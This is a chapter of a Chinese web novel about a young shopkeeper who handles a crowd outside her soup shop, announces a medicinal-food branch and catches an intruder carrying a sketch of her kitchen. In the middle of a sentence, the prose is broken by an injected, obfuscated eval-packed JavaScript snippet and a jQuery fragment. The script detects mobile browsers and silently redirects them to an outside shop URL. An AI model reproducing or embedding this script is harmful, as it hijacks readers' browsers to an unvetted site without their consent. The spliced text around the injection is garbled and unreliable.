暑气还未蒸腾起来，杜禾饴怀里揣着一沓写满字的纸，出发去饴味居。
青竹一身劲装，猛地勒了缰绳：“姑娘，前面走不动了，路口全是人……”
掀开车帘一角，杜禾饴险些没认出那扇熟悉的铺门，平日饴味居门前人并不多，此刻竟三层外三层挤满了人。
穿着绸衫的仆妇，提着食盒的小厮，正往铺门方向张望，树下停着三四顶青呢小轿，轿夫蹲在荫凉里擦汗，显然是哪家府上早早遣了人来排队的。
而饴味居的铺门还紧紧关着，门板上挂着的歇业木牌被挤得歪到一边。
杜禾饴从后门绕进去，顺子和福贵正急得团团转。
“东家可算来了！”顺子声音都劈了，“外头那些人卯正就来了，有个穿蓝绸子的管家说他家夫人天不亮就打发他出门，怕排不上号。还有东街布庄的老板娘，遣了三个丫鬟轮流来守着……咱们今日备的料统共就那些，哪里供得上这么多人？”
杜禾饴将怀里那沓纸放在案上：“今日能出多少份？”
一旁的玉浓咬唇：“四时养正餐的食材昨夜落锁前清点过，满打满算五十套顶天了。“
杜禾饴点点头，正想说些什么，铺面那头忽然传来一阵喧哗。
隔着板壁，能听见有人在嚷嚷：“到底开不开门？日头都起来了！”
“昨儿就听说这铺子好，专程从城西赶来的……”
“便是宫里娘娘用的，也不该这般拿乔罢！”后面的话被嘈杂的人声淹没了。
杜禾饴掀了帘子往外看了一眼，只见福贵和顺子两个伙计正张开胳膊拦在门前，额头冒汗，嘴里不住地说着“诸位稍等，掌柜的马上就来了”，却被人群推得连连后退。
有个矮胖的中年妇人挤在最前面，手里攥着帕子扇风，脸晒得通红，眼看就要发作。
杜禾饴快步走到前头，推门出去。
“各位！”她站在台阶上，高声压住了底下的嘈切，“我是饴味居的掌柜，今日人这样多，是我没料到的，让诸位在日头底下久等了，是我的不是。”
人群静了一瞬，随即又有人喊：“掌柜的，今日还有没有养正餐？我们天没亮就来排了！”
日头已经爬到墙头，照得石板路面白晃晃的，门前没有遮阴，排队的仆妇小厮们额上汗珠子成了串儿往下滚。
杜禾饴回头对顺子说：“去把后院凉棚的竹竿和油布拿出来，在街口柳树底下搭起来。”
又吩咐福贵，“把我昨日湃在井里的那两缸梅子汤抬出来，还有绿豆汤，一并搬来。”
顺子福贵应声去了，不多时便将凉棚支了起来，两张长案摆开，上头各放一只大陶缸，缸壁凝着细密的水珠。
杜禾饴亲手舀了一勺梅子汤倒进碗里，琥珀色的汤汁在晨光里晶莹透亮。
“诸位顶着暑气来，先喝碗汤解解热。”杜禾饴笑着说，“前几日太子妃娘娘在赏荷宴上用的正是这一味，清暑开胃，与这日头最是相宜。”
这话一出，人群里顿时起了骚动。太子妃用的方子？那可不是寻常东西！
方才还满脸不耐的矮胖妇人头一个挤到案前，捧起一碗梅子汤咕咚喝了大半，咂咂嘴：“哎哟，这味儿酸里带甜，还有一股子桂花香，果真不一样！”
其余人见状也纷纷上前，玉浓带着两个帮厨的妇人一碗碗地递。
绿豆汤是拿老冰糖熬的，沙沙糯糯，一碗下去，暑气当真去了三分。
众人的脸色缓和下来，三三两两捧着碗在凉棚底下说话，巷子里嗡嗡的嘈杂变成了闲谈。
杜禾饴看众人安顿下来，才重新站到台阶上，清清嗓子：“各位，我有几句话要说。”
碗盏碰撞的细碎声响停了，人群也安静了。
“饴味居开张不过两月，人手有限，每日能出的养正餐，实在撑不起今日这般阵仗。”杜禾饴说得坦荡，“薏米要浸足两个时辰，莲子要一颗颗去了苦心，慢火煨透，中间的火候一星半点都马虎不得，并非我拿乔限量，而是做多少我就只能卖多少，多一份，味道便差了。”
底下有人叹了一声，几个仆妇互相看了看，面上露出失望的神色。
一个穿灰褐短褐的老汉蹲在柳树根底下，把手里的碗放下，嘟囔道：“那我白跑这一趟了？听说你这儿的羹汤养人，特意叫我来的。”
杜禾饴正要开口，忽然挤进来一个穿宝蓝绸直裰的中年男人，身后跟着两个小厮。
他满头是汗，衣襟都汗湿了一截，挤到前头冲杜禾饴一拱手：“杜掌柜，在下是永昌伯府的管事，我家夫人昨儿在太子妃娘娘的宴上尝了你做的荷叶莲子羹，今儿天不亮就打发在下来买，夫人说了，务必要带回去。”
他抬了抬下巴，娇矜道：“夫人与太子妃娘娘素来交好，昨儿还在宴上说笑来着，杜掌柜行个方便？”
这话一出，周围排队的人顿时不乐意了。
方才喝梅子汤那矮胖妇人把碗一墩：“哟，永昌伯府的便比别人金贵些？我们都是天没亮来排的，凭什么叫你插在前头？”
旁边几个人也跟着附和，七嘴八舌的，嗓门又高了起来。
那管家脸上挂不住，又不好当众与妇人争执，只看着杜禾饴，等她开口。
杜禾饴先朝那管家微微欠了欠身：“夫人厚爱，是饴味居的福气，只是今日的食材着实有限，即便我此刻硬做，火候不到，反倒辜负了夫人的期待。”她又转向众人，提高了声音，“但我有个折中的法子，不知诸位愿不愿意听。”
众人安静下来。
“今日凡是来排队的，都在我这儿登个记，哪家府上，要几份，一律八折。”杜禾饴示意玉浓拿笔墨，“明日这个时辰，我按着登记的数目，将养正餐一份不少地备出来，诸位明日来取便是，不必再排一次队。”
那蓝绸管家皱眉：“我家夫人今日便想用……”
“这样。”杜禾饴对玉浓耳语两句，玉浓点头，转身回后厨端出一只青瓷盅来。
揭开盖子，一股清润的米香散出来，里面是浅碧色的一盅羹汤，莲子已经煨得酥烂，菱米半化在汤汁里。“这是今早多备的一份样品，火候尽了，只是量少。您先带回去给夫人尝个鲜，算我送夫人的，不收钱。明日的正份，我另给您留着。”
管家迟疑片刻，脸上那点矜持终于松动了，接过青瓷盅连声道谢。
旁人见他没占着便宜，气也平了，纷纷凑到柜台前登记。
杜禾饴将那张写满章程的纸翻过来，背面做了登记表，让玉浓执笔，自己在一旁帮着念府名和份数。
正写着，她忽然想起什么，抬头对众人道：“对了，诸位登记时可顺道看看这份东西。”
她将早上带过来的那沓纸举起来，分发下去，是昨晚拟好的分号与药膳堂的介绍，“我打算在京中再开一处铺面，专做药膳，以后不止有四时养正餐，还有针对各人体质的药膳方子，不拘男女老幼，由坐堂的食养师傅望闻问切，一人一方，现做现食。”
人群里一下子炸了锅。
有人问：“当真？那岂不是比看大夫还便利？”
又有人凑近了看那张纸，虽然字迹潦草，但“药膳传承”“一人一方”几个字清清楚。
那矮胖妇人挤到前头，一把拉住杜禾饴的胳膊：“杜掌柜，开张了可头一个告诉我！我当家的胃寒了好些年，吃药不见好，若是你这儿能调，我天天来！”
到这时候，众人的火气早散得干干净净，一个个捧着梅子汤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639595|204176||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
绿豆汤坐在凉棚底下，倒像赶了一场消夏的集。
有人又去舀了第二碗梅子汤，喝完不过瘾，探头问：“杜掌柜，这汤能不能一份带回去？我们主家这几日天热吃不下饭，就想喝口凉的。”
杜禾饴想了想，摇摇头：“梅子汤用冰或镇在井水里才好喝，用壶带回去，路上晒一晒，酸味就变了，不如我直接把方子写给你们。”
她就着柜台刷刷写了几行字，“这里用了有乌梅、山楂、陈皮、甘草、桂花，水量火候都写在上面了，回去自己熬，用井水镇凉，不比铺子里的差。”
围观的人全都愣了，有个穿着齐整的老妈子不敢置信地问：“杜掌柜，这梅子汤是你铺子里卖的东西，你把方子给了人，往后谁还来买？”
杜禾饴将笔搁下，十分坦然：“梅子汤又不是我独创的，不过是在前人方子上稍作增减罢了，一张方子而已，给了便给了。”
众人面面相觑，随即有人先笑了出来，接着便是此起彼伏的感慨：“头回见着这等敞亮掌柜！”
“杜掌柜这份气度，就该你生意好！”
那老妈妈攥着方子看了又看，折好揣进怀里，直说回去就熬给家里小孙子喝。
人群终于开始散了，三三两两说着话往巷口走，碗盏收回来叠了一大摞，凉棚底下的长案上干干净净，连一滴梅子汤都没剩下。
杜禾饴这才喘匀了一口气，正要转身回铺子，一个穿藕荷色夏衫的妇人从青呢小轿里下来，笑吟吟地朝她走来。
“赵夫人？”杜禾饴迎上去。
赵夫人方才一直坐在轿子里没出来，此刻才款款走近，拿帕子替杜禾饴按了按额角的汗：“我这会儿才敢出来，方才你那阵仗，我哪敢上前添乱？妹子，你这生意可真真是火爆了。”
杜禾饴苦笑：“您就别打趣我了，我都快忙昏头了。”
赵夫人挽了她胳膊往里走：“方才我在轿子里听着，你把梅子汤方子都散出去了？你这性子……”
她虽摇头，眼里却是赞许，“也罢，你自有你的道理。不过妹子，姐姐可要问你一句实在话——我们这些打开业便定着的老主顾，该不会以后也排不上号了吧？我老爷每月要的茯苓糕，还有我那小儿子的山药饼，可不能断了。”
杜禾饴攥了攥她的手：“夫人放心，老主顾的份例我单列了册子，日日都留着的，天塌下来也少不了你们那一份。”她声音软下来，“再说，上回有人在我铺子门口闹事，是姐姐替我出头，这份情我一直记着。”
赵夫人拍了拍她的手背，叹了口气：“那两个泼皮分明是受人指使的，我看不过眼罢了。倒是你，一个姑娘家撑起这么大摊子，背后不知道多少人盯着呢。”
两人又说了几句体己话，赵夫人拿了餐食才上了轿子走了。
杜禾饴送走她，折回铺子里，还没来得及喝口水，玉浓便探出头来，神色有些古怪。
“东家，你过来一下。”
杜禾饴放下茶碗走过去，玉浓把她拉到后厨最里间的杂货房，推开虚掩的门。
角落里蹲着个穿灰短衫的年轻后生，双手被麻绳捆在背后，嘴里塞了块抹布，正呜呜地挣着。
福贵拿根擀面杖站在旁边守着，见杜禾饴来了，将擀面杖往身后一藏：“掌柜的，卯正过后这人就猫在咱们后墙根底下，顺子去搬缸时候瞧见的！他怀里揣着这个！”
顺子递来一张纸，歪歪扭扭画着后厨的布局。
杜禾饴看了看那张纸，蹲下身拿掉那人嘴里的抹布。
后生喘了口气，色厉内荏地嚷：“你们这是私绑良民！我、我什么都没干！”
“钱满仓的伙计？”杜禾饴问。
那后生脸色变了，张了张嘴没说出话来。